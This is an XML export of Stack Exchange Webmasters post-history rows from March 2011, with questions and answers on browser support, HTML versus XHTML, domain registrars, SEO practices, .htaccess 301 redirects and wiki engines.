  <row Id="23881" PostHistoryTypeId="2" PostId="10655" RevisionGUID="5bae3dff-02f1-4e57-a5ac-b1afcce1d837" CreationDate="2011-03-14T15:45:04.027" UserId="233" Text="Opera is generally less supported because it has a lower market share. It has stayed consistent around 1% for the past 5 years while other browsers have been released and &quot;broken through&quot;.&#xD;&#xA;&#xD;&#xA;Many people don't see a reason to invest time into testing in Opera. It's also a singular entity in its own right - IE obviously has a lot of market share, and the Gecko and Webkit engines cover a huge ground. You can test in Chrome and assume it will look the same in Safari. But Opera is on its own.&#xD;&#xA;&#xD;&#xA;As for why people don't use Opera, there are many schools of thought on the issue. Often it's attributed to the browser being very user-unfriendly and only for power users. Sometimes it's attributed to a lack of advertising.&#xD;&#xA;&#xD;&#xA;IE and Safari have it easy since they come with everyone's computers. Firefox became popular via the open source movement (and is standard for all Linux installs). Finally, Chrome has the biggest internet company in the world behind it and advertising it." />
  <row Id="23882" PostHistoryTypeId="2" PostId="10656" RevisionGUID="c01f14b1-000e-4c88-b5b4-29c7df1b0c98" CreationDate="2011-03-14T15:48:02.060" UserId="3656" Text="I am doing my final year project and have decided to make a website in asp.net. For that I'll be using Micrsoft Visual Studio 2008. I'm making a Real ESTATE properties website.&#xD;&#xA;I want to know how to create posts in asp.net( like in WORDPRESS) and also when I hit SEARCH it should search for the desired keyword or the searched post.&#xD;&#xA;&#xD;&#xA;If post is not possible then it should display pages....Please help as I'm a beginner..&#xD;&#xA;" />
  <row Id="23883" PostHistoryTypeId="1" PostId="10656" RevisionGUID="c01f14b1-000e-4c88-b5b4-29c7df1b0c98" CreationDate="2011-03-14T15:48:02.060" UserId="3656" Text="How to create posts in asp.net ..??" />
  <row Id="23884" PostHistoryTypeId="3" PostId="10656" RevisionGUID="c01f14b1-000e-4c88-b5b4-29c7df1b0c98" CreationDate="2011-03-14T15:48:02.060" UserId="3656" Text="&lt;websites&gt;&lt;asp.net&gt;" />
  <row Id="23885" PostHistoryTypeId="10" PostId="10656" RevisionGUID="4d74ffec-34b9-4a37-b63d-454d6a5ff5af" CreationDate="2011-03-14T15:48:44.630" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="23886" PostHistoryTypeId="2" PostId="10657" RevisionGUID="2f0cc53b-7071-4fd7-9000-ea28530ec9aa" CreationDate="2011-03-14T15:48:47.417" UserId="5847" Text="Haha If you enjoy paying for your domain registry then by all means do them seperately. &#xD;&#xA;&#xD;&#xA;In fact, I'd advise for having hosting and domain name registry bundled together because a lot of times if you sign up for a year of service, you get the domain name registry for FREE! And who doesn't like saving money and making life easier with less accounts and passwords! Check out ipower web at http://www.ipower.com/ipower/index.bml at 4.95 per month w/ free domain registry and hostgator at http://secure.hostgator.com/forward.php?campaign=brand&amp;gclid=CPW54rGzzqcCFUpj7Aod7yfaGQ at 3.95 per month w/ free domain registry. I use both of these hosting companies for many websites. Godaddy may advertise the most, but they have issues with word press hosting, are higher priced than competitors that offer more, and their tech support sucks.   &#xD;&#xA;&#xD;&#xA;" />
  <row Id="23887" PostHistoryTypeId="2" PostId="10658" RevisionGUID="c9f0c0d6-1dfa-4255-9ee0-f64b71bc4d91" CreationDate="2011-03-14T15:58:10.437" UserId="5847" Text="Try http://www.101domain.com/ - This is one of the most comprehensive domain registrycheckers featuring 1113 Domain Name Extensions!! You can Search All Top Extensions from:  Asian Domains  African Domains  European Domains  North American Domains  Central American Domains  South American Domains and Oceanian Domains. " />
  <row Id="23888" PostHistoryTypeId="17" PostId="10660" RevisionGUID="4f9017a8-bbf6-415c-a43e-e476436f4562" CreationDate="2011-03-14T16:02:10.197" UserId="-1" Comment="from http://serverfault.com/questions/247204/free-lightweight-mobile-webmail/247212#247212" Text="" />
  <row Id="23889" PostHistoryTypeId="2" PostId="10660" RevisionGUID="a8771f8f-03d6-456e-9399-d90ac7b0bcb3" CreationDate="2011-03-14T15:47:51.963" UserDisplayName="adamo" Text="I would open a Gmail account, make it pull email from the service provider where email is stored and use Gmail's mobile application to read email.&#xD;&#xA;&#xD;&#xA;Not the best of solutions, but the fastest one." />
  <row Id="23890" PostHistoryTypeId="2" PostId="10659" RevisionGUID="228e0b5c-f39b-4ce1-a1e8-2ab1a3a1b2a8" CreationDate="2011-03-14T15:35:43.000" UserDisplayName="roberto" Text="I'm looking for a free lightweight mobile webmail. &#xD;&#xA;&#xD;&#xA;Something like squirrelmail but for mobile phones.&#xD;&#xA;&#xD;&#xA;roberto" />
  <row Id="23891" PostHistoryTypeId="1" PostId="10659" RevisionGUID="228e0b5c-f39b-4ce1-a1e8-2ab1a3a1b2a8" CreationDate="2011-03-14T15:35:43.000" UserDisplayName="roberto" Text="free lightweight mobile webmail" />
  <row Id="23892" PostHistoryTypeId="3" PostId="10659" RevisionGUID="228e0b5c-f39b-4ce1-a1e8-2ab1a3a1b2a8" CreationDate="2011-03-14T15:35:43.000" UserDisplayName="roberto" Text="&lt;untagged&gt;" />
  <row Id="23893" PostHistoryTypeId="17" PostId="10659" RevisionGUID="59ddb8e6-a2c3-4760-b8e7-bddceddb60d3" CreationDate="2011-03-14T16:02:10.197" UserId="-1" Comment="from http://serverfault.com/questions/247204/free-lightweight-mobile-webmail" Text="" />
  <row Id="23894" PostHistoryTypeId="5" PostId="10659" RevisionGUID="83e35f9f-11fe-4ffc-8133-ffa7aed11ef5" CreationDate="2011-03-14T16:05:10.037" UserId="1253" Comment="Added tags (was untagged)" Text="I'm looking for a free lightweight mobile webmail. &#xD;&#xA;&#xD;&#xA;Something like squirrelmail but for mobile phones.&#xD;&#xA;&#xD;&#xA;roberto" />
  <row Id="23895" PostHistoryTypeId="6" PostId="10659" RevisionGUID="83e35f9f-11fe-4ffc-8133-ffa7aed11ef5" CreationDate="2011-03-14T16:05:10.037" UserId="1253" Comment="Added tags (was untagged)" Text="&lt;email&gt;&lt;mobile&gt;&lt;webmail&gt;" />
  <row Id="23896" PostHistoryTypeId="5" PostId="10648" RevisionGUID="f1c8e197-6184-435c-8893-77ae5ec1e92e" CreationDate="2011-03-14T16:05:38.040" UserId="5847" Comment="added clarification ot question " Text="When I want a new domain, I usually use GoDaddy to check, and another registrar to register. This is because GoDaddy check my wanted domain against the most TLD's.&#xD;&#xA;&#xD;&#xA;Are there any other sites/registrars that checks against more TLD's?&#xD;&#xA;&#xD;&#xA;What I want is to type my wanted second-level domain.. Ex: bobsplace. And then it searches through bobsplace.com bobsplace.net bobsplace.me etc, and reports back to me which is availible or not" />
  <row Id="23897" PostHistoryTypeId="24" PostId="10648" RevisionGUID="f1c8e197-6184-435c-8893-77ae5ec1e92e" CreationDate="2011-03-14T16:05:38.040" Comment="Proposed by 5847 approved by 1253 edit id of 65" />
  <row Id="23907" PostHistoryTypeId="2" PostId="10663" RevisionGUID="4b4d7314-0f38-49e5-bbcc-e97a4e8b0558" CreationDate="2011-03-14T16:27:24.093" UserId="5847" Text="Just create a sitemap xml file and submit it to google and put it in the root directory. I recommend using sitemap writer pro.  " />
  <row Id="23908" PostHistoryTypeId="2" PostId="10664" RevisionGUID="854cc2ad-3023-448d-b6e6-b06dcb8392d4" CreationDate="2011-03-14T16:39:29.853" UserId="5346" Text="i am starting to learn making websites, now i want to know what is the difference b/w HTML and XHTML; kindly keep it simple and jargon free pls. :)&#xD;&#xA;&#xD;&#xA;also, what mark up language i shall use between these two to start with?" />
  <row Id="23909" PostHistoryTypeId="1" PostId="10664" RevisionGUID="854cc2ad-3023-448d-b6e6-b06dcb8392d4" CreationDate="2011-03-14T16:39:29.853" UserId="5346" Text="HTML vs Xhtml; which one to start with" />
  <row Id="23910" PostHistoryTypeId="3" PostId="10664" RevisionGUID="854cc2ad-3023-448d-b6e6-b06dcb8392d4" CreationDate="2011-03-14T16:39:29.853" UserId="5346" Text="&lt;html&gt;&lt;xhtml&gt;" />
  <row Id="23911" PostHistoryTypeId="2" PostId="10665" RevisionGUID="db36da06-427b-4c5d-92db-20f5ff2030e5" CreationDate="2011-03-14T16:49:54.897" UserId="1253" Text="Instead of reinventing the wheel, here's [a great post explaining the difference between the two][1]. But to quote w3schools and give you a basic summary:&#xD;&#xA;&#xD;&#xA;    The Most Important Differences:&#xD;&#xA;    &#xD;&#xA;    XHTML elements must be properly nested&#xD;&#xA;    XHTML elements must always be closed&#xD;&#xA;    XHTML elements must be in lowercase&#xD;&#xA;    XHTML documents must have one root element&#xD;&#xA;&#xD;&#xA;They're so similar that it really doesn't matter which one you learn first as the differences are minor for what you want to do. I'd say start with HTML as it is technically simpler and branch out to xHTML once you think you're ready.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sitepoint.com/forums/html-xhtml-52/xhtml-vs-html-faq-393445.html" />
  <row Id="23912" PostHistoryTypeId="2" PostId="10666" RevisionGUID="81072e18-df75-4562-beda-a649ffa030ca" CreationDate="2011-03-14T16:50:11.010" UserId="5727" Text="Important differences (referenced from W3schools, I know, I know)&#xD;&#xA;&#xD;&#xA; - XHTML elements must be properly nested&#xD;&#xA; - XHTML elements must always be closed&#xD;&#xA; - XHTML elements must be in lowercase&#xD;&#xA; - XHTML documents must have one root element&#xD;&#xA;&#xD;&#xA;So it's not a different language, it's a different set of standards.&#xD;&#xA;&#xD;&#xA;I recommend you start learning HTML5, it's the future, and it's pretty mature at the moment.  There really isn't *much* difference between them all when learning the basics and getting going, but you should probably just pick the most up to date one." />
  <row Id="23913" PostHistoryTypeId="2" PostId="10667" RevisionGUID="b6c0640d-ebe7-4d47-b2b2-e0018cc0912d" CreationDate="2011-03-14T17:05:31.633" UserDisplayName="user71698" Text="I am getting a lot of errors in Webmaster Tools and basically there's a lot of links ending like this: mydomainname.com/links.php&#xD;&#xA;How can I redirect these links, to shave off this part at the end?&#xD;&#xA;   For instance, there is a link in Google:&#xD;&#xA;&quot;http://www.onlineglobalbiz.com/article-marketing/www.onlineglobalbiz.com/links.php&quot;&#xD;&#xA;&#xD;&#xA;This should be: &quot;http://www.onlineglobalbiz.com/article-marketing/&quot;&#xD;&#xA;(Using .htaccess, how can I redirect from the incorrect links)?" />
  <row Id="23914" PostHistoryTypeId="1" PostId="10667" RevisionGUID="b6c0640d-ebe7-4d47-b2b2-e0018cc0912d" CreationDate="2011-03-14T17:05:31.633" UserDisplayName="user71698" Text="Redirects in .htaccess to avoid crawl errors" />
  <row Id="23915" PostHistoryTypeId="3" PostId="10667" RevisionGUID="b6c0640d-ebe7-4d47-b2b2-e0018cc0912d" CreationDate="2011-03-14T17:05:31.633" UserDisplayName="user71698" Text="&lt;google&gt;" />
  <row Id="23916" PostHistoryTypeId="17" PostId="10667" RevisionGUID="4ad390e0-3134-405e-8720-259d5c42f201" CreationDate="2011-03-14T17:07:03.863" UserId="-1" Comment="from http://superuser.com/questions/257529/redirects-in-htaccess-to-avoid-crawl-errors" Text="" />
  <row Id="23917" PostHistoryTypeId="17" PostId="10669" RevisionGUID="94eaf734-2652-42d0-84d7-35b6b6d8a079" CreationDate="2011-03-14T17:10:55.250" UserId="-1" Comment="from http://stackoverflow.com/questions/5301769/website-design-seo-dilemma/5301833#5301833" Text="" />
  <row Id="23918" PostHistoryTypeId="17" PostId="10670" RevisionGUID="d3a427dc-f0ed-4db4-9c0b-e5e50f35828e" CreationDate="2011-03-14T17:10:55.250" UserId="-1" Comment="from http://stackoverflow.com/questions/5301769/website-design-seo-dilemma/5301877#5301877" Text="" />
  <row Id="23919" PostHistoryTypeId="2" PostId="10669" RevisionGUID="d75aa90e-31a2-4c30-84e7-68a5649dab78" CreationDate="2011-03-14T17:04:06.833" UserDisplayName="Phil Powell" Text="Don't do it. Search engines are very wise to the notion of hidden content in elements — at best they will simply ignore the content; at worst, the site could end up blacklisted.&#xD;&#xA;&#xD;&#xA;General rule of thumb is: if you think your site content is lacking in descriptive content for search engines, it's probably lacking in descriptive content for humans too." />
  <row Id="23920" PostHistoryTypeId="2" PostId="10670" RevisionGUID="b4824fad-594c-437d-ad27-0c983fa22a90" CreationDate="2011-03-14T17:07:03.363" UserDisplayName="nigpig" Text="From my experience it is best to be up front and not do anything slightly iffy - like using hidden spans and hidden text. The first step with any site is the content. It must be engaging not only visually but the copy is most important. Enough of it, original and it must acurately describe what is on the sites pages. Title of the page, heading 1 and 2 tags should accurately sumarise the page and sections. Alt tags should describe the picture. If you make your site customer friendly and acurate by default it will be search engine friendly. I'm not an expert but have been working at this for a few years with help from the google webmaster forums and faqs." />
  <row Id="23921" PostHistoryTypeId="2" PostId="10668" RevisionGUID="e9a4d35a-37f4-4004-92d9-33f566cf8dac" CreationDate="2011-03-14T16:57:14.420" UserDisplayName="lemonpole" Text="Okay so I designed a website for a restaurant and the design is aimed mostly to entice the viewer by using images of the restaurant's platters and foods. Not to say that text is totally non-existent but the design makes it hard to have enough keywords. Most keywords are found in the ALT attribute of image tags and a couple of headers.&#xD;&#xA;&#xD;&#xA;The reason as to why I am in this dilemma? I'm still new to web development and at the time I made the design, I didn't really know much about SEO. So I come here in search of help because I have an idea...&#xD;&#xA;&#xD;&#xA;**Would it be good practice to have hidden SPAN blocks that would help me fill with keywords?** &#xD;&#xA;&#xD;&#xA;For example a hidden SPAN would have text in bold to help with SEO. Of course, I will play it safe and not exploit this technique if it works. I have searched that this may be considered spamming by search engines and some companies are taking measures to prevent this.&#xD;&#xA;&#xD;&#xA;Thanks in advance!" />
  <row Id="23922" PostHistoryTypeId="1" PostId="10668" RevisionGUID="e9a4d35a-37f4-4004-92d9-33f566cf8dac" CreationDate="2011-03-14T16:57:14.420" UserDisplayName="lemonpole" Text="Website Design; SEO Dilemma" />
  <row Id="23923" PostHistoryTypeId="3" PostId="10668" RevisionGUID="e9a4d35a-37f4-4004-92d9-33f566cf8dac" CreationDate="2011-03-14T16:57:14.420" UserDisplayName="lemonpole" Text="&lt;html&gt;&lt;web-development&gt;&lt;seo&gt;" />
  <row Id="23924" PostHistoryTypeId="17" PostId="10668" RevisionGUID="fd3b9ac2-e9ad-45d5-a799-e61eb6a12ece" CreationDate="2011-03-14T17:10:55.250" UserId="-1" Comment="from http://stackoverflow.com/questions/5301769/website-design-seo-dilemma" Text="" />
  <row Id="23925" PostHistoryTypeId="2" PostId="10671" RevisionGUID="ab520e93-587f-4fff-977e-03a4b00498d1" CreationDate="2011-03-14T17:11:02.157" UserId="1253" Text="The odds are you have lots of HTML errors in your website for those kind of errors to be showing up. You need to fix them, not put a band aid on them. Crawl your site with a tool like [Xenu's Link Sleuth][1] and look for where those bad links are and fix them. That will solve your problem with Google and let your users actual find your content as they probably are having a poor user experience right now.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://home.snafu.de/tilman/xenulink.html" />
  <row Id="23926" PostHistoryTypeId="5" PostId="10667" RevisionGUID="22fb03a2-280b-4f4e-8415-0f503457fd9e" CreationDate="2011-03-14T17:13:51.030" UserId="1253" Comment="added 8 characters in body; edited tags" Text="I am getting a lot of errors in Webmaster Tools and basically there's a lot of links ending like this: mydomainname.com/links.php&#xD;&#xA;&#xD;&#xA;How can I redirect these links, to shave off this part at the end? For instance, there is a link in Google:&#xD;&#xA;&#xD;&#xA;    http://www.onlineglobalbiz.com/article-marketing/www.onlineglobalbiz.com/links.php&#xD;&#xA;&#xD;&#xA;This should be: &#xD;&#xA;&#xD;&#xA;    http://www.onlineglobalbiz.com/article-marketing/&#xD;&#xA;&#xD;&#xA;Using .htaccess, how can I redirect from the incorrect links?" />
  <row Id="23927" PostHistoryTypeId="6" PostId="10667" RevisionGUID="22fb03a2-280b-4f4e-8415-0f503457fd9e" CreationDate="2011-03-14T17:13:51.030" UserId="1253" Comment="added 8 characters in body; edited tags" Text="&lt;google&gt;&lt;html&gt;&lt;htaccess&gt;&lt;links&gt;" />
  <row Id="23928" PostHistoryTypeId="2" PostId="10672" RevisionGUID="70e827b8-de14-43dd-8db8-39644b53d261" CreationDate="2011-03-14T17:18:12.583" UserId="6078" Text="I agree with Tom, that you should probably start learning HTML5, but I wouldn't do that solely as it's not 100% right now.  XHTML will basically teach you better coding habits because it is a little more strict in regards to properly closing, nesting naming, etc.  I would say to start with XHTML for the basics and learning good coding habits, then start to learn the new bits of HTML5.  Good coding habits help your end users, those who may follow behind you, and yourself later on down the road.&#xD;&#xA;&#xD;&#xA;While you are learning, run your pages through the validator: http://validator.w3.org/&#xD;&#xA;This will point out where you are making your mistakes and will not only help you write and release valid code, but can help with revealing problem spots you may have.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="23929" PostHistoryTypeId="2" PostId="10673" RevisionGUID="42b05d42-9dad-4350-b87e-4efd944a6a86" CreationDate="2011-03-14T17:22:15.463" UserId="6078" Text="If you are only selling a few dozen items with no storefront and you want simplicity, I would recommend finding a simple and cheap solution that is pre-made.  Google-Checkout might be perfect for you: http://checkout.google.com/seller/integrate.html" />
  <row Id="23930" PostHistoryTypeId="25" PostId="10664" RevisionGUID="f14af84c-926a-4c9e-88b4-1a0391c8f647" CreationDate="2011-03-14T17:23:37.533" Comment="http://twitter.com/#!/StackWebmasters/status/47347160781557760" />
  <row Id="23931" PostHistoryTypeId="2" PostId="10674" RevisionGUID="24d01cff-bdbc-4b3e-9db2-bd628efdce3d" CreationDate="2011-03-14T17:33:31.707" UserId="1253" Text="That is the very definition of black hat SEO. You are serving up different content to the search engines for the explicit purpose of manipulating their rankings. It's a great way to get your pages and/or site banned. Don't do it. There are [lots of legitimate ways to help your site's search rankings][1] without having to resort to cheating.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/2/what-are-the-best-ways-to-increase-your-sites-position-in-google" />
  <row Id="23932" PostHistoryTypeId="2" PostId="10675" RevisionGUID="b3648cf8-e944-40d7-bdfc-71e70e6f2321" CreationDate="2011-03-14T17:34:28.443" UserId="1920" Text="Looking at yesterday, according to Google Analytics, I got six direct visitors to my site. Only one ended up at the actual domain. The other five ended up at miscellaneous foo.com/xyz.html. I did not send out links to people by email, and I'm not sure how likely it is the people would have copy/pasted the URLs. &#xD;&#xA;&#xD;&#xA;How do the visitors end up there? Is there a way to better capture where they might be coming from?" />
  <row Id="23933" PostHistoryTypeId="1" PostId="10675" RevisionGUID="b3648cf8-e944-40d7-bdfc-71e70e6f2321" CreationDate="2011-03-14T17:34:28.443" UserId="1920" Text="How do I interpret direct traffic that lands on random pages?" />
  <row Id="23934" PostHistoryTypeId="3" PostId="10675" RevisionGUID="b3648cf8-e944-40d7-bdfc-71e70e6f2321" CreationDate="2011-03-14T17:34:28.443" UserId="1920" Text="&lt;google-analytics&gt;&lt;traffic&gt;&lt;landing-page&gt;" />
  <row Id="23936" PostHistoryTypeId="2" PostId="10677" RevisionGUID="54c3018f-0ed3-425f-a4e2-e969f7401292" CreationDate="2011-03-14T17:40:54.850" UserId="6028" Text="Adding to the recent responses, it is beneficial to know the differences between HTML4.01 &amp; XHTML 1.0 and the previous responses sum those differences up. Already stated too that you should start learning about the new elements introduced into HTML5 and the minor changes in semantics. The great thing about the HTML5 spec is that it was built, in the loosest sense, backwards compatible with your HTML4.01 or XHTML code. Meaning that your (X)HTML page can instantly become an HTML5 page with simple substitution of the old doctype with the new `&lt;!doctype html&gt;`. An excellent resource for an HTML5 summary - [Dive into HTML5][1] &#xD;&#xA;&#xD;&#xA;If you do decide to go the HTML5 route which I'd recommend, there are drawbacks as older Internet Explorers like versions 6-8 that will not recognize new HTML5 elements like `article` or `aside`. However there are a few javascript libraries that allow those dated browsers to recognize the new elements so that you may be able to style them. Check out [Modernizr][2] or [html5shiv][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://diveintohtml5.org/&#xD;&#xA;  [2]: http://www.modernizr.com/&#xD;&#xA;  [3]: http://code.google.com/p/html5shiv/" />
  <row Id="23937" PostHistoryTypeId="5" PostId="10675" RevisionGUID="fd633614-3a3f-4a8d-9c07-1f638b62315c" CreationDate="2011-03-14T17:42:59.217" UserId="1920" Comment="clarified &quot;direct visitors&quot;" Text="Looking at yesterday, according to Google Analytics, I got six direct visitors to my site (their source/medium is `direct/(none)`). Only one ended up at the actual domain. The other five ended up at miscellaneous foo.com/xyz.html. I did not send out links to people by email, and I'm not sure how likely it is the people would have copy/pasted the URLs. &#xD;&#xA;&#xD;&#xA;How do the visitors end up there? Is there a way to better capture where they might be coming from?" />
  <row Id="23939" PostHistoryTypeId="2" PostId="10678" RevisionGUID="290614b9-7af5-4667-8fd0-c28ada788d58" CreationDate="2011-03-14T17:54:14.690" UserId="5954" Text="It basically means these requests are missing the http referrer header. There are several reasons why that would be the case - &#xD;&#xA;&#xD;&#xA; 1. A https page has a link to your website, and the user follows that link. Browsers don't send the referrer in case of a https -&gt; http transition. A simple case is a search engine accessed via https.&#xD;&#xA; 2. They are behind some kind of proxy that strips out referrer headers, or they have deliberately installed a browser plugin to do that.&#xD;&#xA; 3. Someone is trying to scrape your website using a custom program (not browser), and is not sending the http referrer.&#xD;&#xA;&#xD;&#xA;6 requests is a very small number. If you see several hundreds of requests, you could try to co-relate and find out more information. Otherwise, there is no definite answer." />
  <row Id="23940" PostHistoryTypeId="2" PostId="10679" RevisionGUID="099b5898-30cc-4047-9cea-d4e2e1fe86a3" CreationDate="2011-03-14T18:31:14.213" UserId="6081" Text="We have a domain with URL, lets say: http://www.xxxxstaging.com/abc.php?id=10&#xD;&#xA;&#xD;&#xA;which is having a pretty good ranking for some keywords in google.&#xD;&#xA;&#xD;&#xA;However, this is our staging website and due to some historical reason, it was exposed to public.&#xD;&#xA;&#xD;&#xA;Now we have a production domain (the one we want to be publicly available), say: http://www.xxxxproduction.com/abc.php?id=10&#xD;&#xA;&#xD;&#xA;which have exactly the same html output as xxxxstaging.com&#xD;&#xA;&#xD;&#xA;our question is, for the exactly same keyword search, it never appear in any page of google.&#xD;&#xA;&#xD;&#xA;Is it possible for us to &quot;switch&quot; the ranking in google, either tell the robot that they are indeed the same website, or tell google to change it for us?&#xD;&#xA;&#xD;&#xA;Thank you.&#xD;&#xA;" />
  <row Id="23941" PostHistoryTypeId="1" PostId="10679" RevisionGUID="099b5898-30cc-4047-9cea-d4e2e1fe86a3" CreationDate="2011-03-14T18:31:14.213" UserId="6081" Text="wrong SEO result for staging website" />
  <row Id="23942" PostHistoryTypeId="3" PostId="10679" RevisionGUID="099b5898-30cc-4047-9cea-d4e2e1fe86a3" CreationDate="2011-03-14T18:31:14.213" UserId="6081" Text="&lt;seo&gt;" />
  <row Id="23943" PostHistoryTypeId="2" PostId="10680" RevisionGUID="337c1a7f-6686-45b9-9ca7-655ac84a87a8" CreationDate="2011-03-14T18:40:04.027" UserId="1253" Text="Use a 301 redirect:&#xD;&#xA;&#xD;&#xA;    Options +FollowSymlinks&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^(www\.)?xxxstaging\.com$ [NC]&#xD;&#xA;    RewriteRule ^(.*)$ http://www.xxxlive.com/$1 [R=301,L]" />
  <row Id="23944" PostHistoryTypeId="5" PostId="10680" RevisionGUID="14fb4832-d2cc-43e9-8fbf-c98ada71c30a" CreationDate="2011-03-14T18:45:40.603" UserId="1253" Comment="added 220 characters in body" Text="Use a 301 redirect:&#xD;&#xA;&#xD;&#xA;    Options +FollowSymlinks&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^(www\.)?xxxstaging\.com$ [NC]&#xD;&#xA;    RewriteRule ^(.*)$ http://www.xxxlive.com/$1 [R=301,L]&#xD;&#xA;&#xD;&#xA;This will redirect users and the search engines to the new site and the proper pages as well. Search engines will also then associate the old URLs with the new URLs and eventually replace them in the search results. " />
  <row Id="23945" PostHistoryTypeId="25" PostId="10679" RevisionGUID="a9aae338-a0f7-4037-ae5b-3421f367774f" CreationDate="2011-03-14T20:23:37.627" Comment="http://twitter.com/#!/StackWebmasters/status/47392459898101760" />
  <row Id="23946" PostHistoryTypeId="2" PostId="10681" RevisionGUID="efb4765d-c75a-4d9b-967a-dbb630b2488d" CreationDate="2011-03-14T20:41:03.677" UserId="6084" Text="I'm looking to set up a wiki as a simple CMS for a resource page. Mostly just pdfs and word documents will be hosted, but the two main features I'm looking for is the ability to restrict pages based upon user privileges and for blog-style comments between the users.&#xD;&#xA;&#xD;&#xA;From what I've researched, mediawiki can easily do the first part with restricting users, but I haven't had much luck finding any plugins for comments. I'm trying to avoid the discussion style pages from wikipedia, and have more of a comments just under the article. &#xD;&#xA;&#xD;&#xA;So far I'm leaning towards trying Tiki out, any other recommendations?" />
  <row Id="23947" PostHistoryTypeId="1" PostId="10681" RevisionGUID="efb4765d-c75a-4d9b-967a-dbb630b2488d" CreationDate="2011-03-14T20:41:03.677" UserId="6084" Text="Best wiki engine to use?" />
  <row Id="23948" PostHistoryTypeId="3" PostId="10681" RevisionGUID="efb4765d-c75a-4d9b-967a-dbb630b2488d" CreationDate="2011-03-14T20:41:03.677" UserId="6084" Text="&lt;mediawiki&gt;&lt;wiki&gt;" />
  <row Id="23949" PostHistoryTypeId="2" PostId="10682" RevisionGUID="765a344a-7e79-45d4-8053-4109ef6ec58c" CreationDate="2011-03-14T22:58:57.230" UserId="1583" Text="I've used &lt;a href=&quot;http://www.screwturn.eu/&quot;&gt;ScrewTurn&lt;/a&gt; wiki before now, very simple to set up and use - but it does need a Microsoft server to run on (Windows Server 2003 or Windows Server 2008).&#xD;&#xA;&#xD;&#xA;There is a &lt;a href=&quot;http://www.screwturn.eu/Sandbox.ashx&quot;&gt;sandbox on the ScrewTurn website&lt;/a&gt; to try out how it works - so you can try it before having to install it, and even if it isn't for you it may give you sone ideas of what you do want." />
  <row Id="23950" PostHistoryTypeId="25" PostId="10675" RevisionGUID="ea41e078-993c-471a-b717-e3e963049fe8" CreationDate="2011-03-14T23:30:17.857" Comment="http://twitter.com/#!/StackWebmasters/status/47439436899811328" />
  <row Id="23951" PostHistoryTypeId="2" PostId="10683" RevisionGUID="9725e216-049e-469b-b1d3-7b09990662ab" CreationDate="2011-03-14T23:51:19.150" UserId="67" Text="My company has decided to embark on a website acquisition spree, and we need to know the best places to purchase them. We already know about flippa and godaddy.&#xD;&#xA;&#xD;&#xA;We're looking for established, functioning and above all LEGIT websites to add to our ownership portfolio.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="23952" PostHistoryTypeId="1" PostId="10683" RevisionGUID="9725e216-049e-469b-b1d3-7b09990662ab" CreationDate="2011-03-14T23:51:19.150" UserId="67" Text="Where to buy websites" />
  <row Id="23953" PostHistoryTypeId="3" PostId="10683" RevisionGUID="9725e216-049e-469b-b1d3-7b09990662ab" CreationDate="2011-03-14T23:51:19.150" UserId="67" Text="&lt;godaddy&gt;&lt;purchase&gt;&lt;websites&gt;&lt;flippa&gt;&lt;auction&gt;" />
  <row Id="23954" PostHistoryTypeId="10" PostId="10683" RevisionGUID="d91019fd-9e71-4176-bb9c-dba584111417" CreationDate="2011-03-15T00:05:05.793" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="23955" PostHistoryTypeId="2" PostId="10684" RevisionGUID="439f1687-b2fd-433c-942a-683dfaf60af2" CreationDate="2011-03-15T02:25:16.727" UserId="1976" Text="How do you display quick links when search results are display for a particular website in [Google Webmasters][1]?&#xD;&#xA;&#xD;&#xA;Like this:&#xD;&#xA;&#xD;&#xA;![Quick links][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/webmasters/&#xD;&#xA;  [2]: http://uimgz.com/i/3E0z7Q8M6K6Y4.png" />
  <row Id="23956" PostHistoryTypeId="1" PostId="10684" RevisionGUID="439f1687-b2fd-433c-942a-683dfaf60af2" CreationDate="2011-03-15T02:25:16.727" UserId="1976" Text="Google search results quick links" />
  <row Id="23957" PostHistoryTypeId="3" PostId="10684" RevisionGUID="439f1687-b2fd-433c-942a-683dfaf60af2" CreationDate="2011-03-15T02:25:16.727" UserId="1976" Text="&lt;google&gt;&lt;websites&gt;&lt;google-webmaster-tools&gt;" />
  <row Id="23958" PostHistoryTypeId="25" PostId="10668" RevisionGUID="d4750c3d-7404-4f28-8afb-88bb26fc9c85" CreationDate="2011-03-15T02:30:17.573" Comment="http://twitter.com/#!/StackWebmasters/status/47484734024069120" />
  <row Id="23959" PostHistoryTypeId="5" PostId="10684" RevisionGUID="dd7a6f5d-1ac3-421d-b798-c1fbe65f1d44" CreationDate="2011-03-15T02:42:10.187" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [What are the most important things I need to do to encourage Google Sitelinks?](http://webmasters.stackexchange.com/questions/503/what-are-the-most-important-things-i-need-to-do-to-encourage-google-sitelinks)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;How do you display quick links when search results are display for a particular website in [Google Webmasters][1]?&#xD;&#xA;&#xD;&#xA;Like this:&#xD;&#xA;&#xD;&#xA;![Quick links][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/webmasters/&#xD;&#xA;  [2]: http://uimgz.com/i/3E0z7Q8M6K6Y4.png" />
  <row Id="23960" PostHistoryTypeId="10" PostId="10684" RevisionGUID="caff1b12-fc9c-40b3-b2a8-2a92817446ed" CreationDate="2011-03-15T02:42:10.030" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
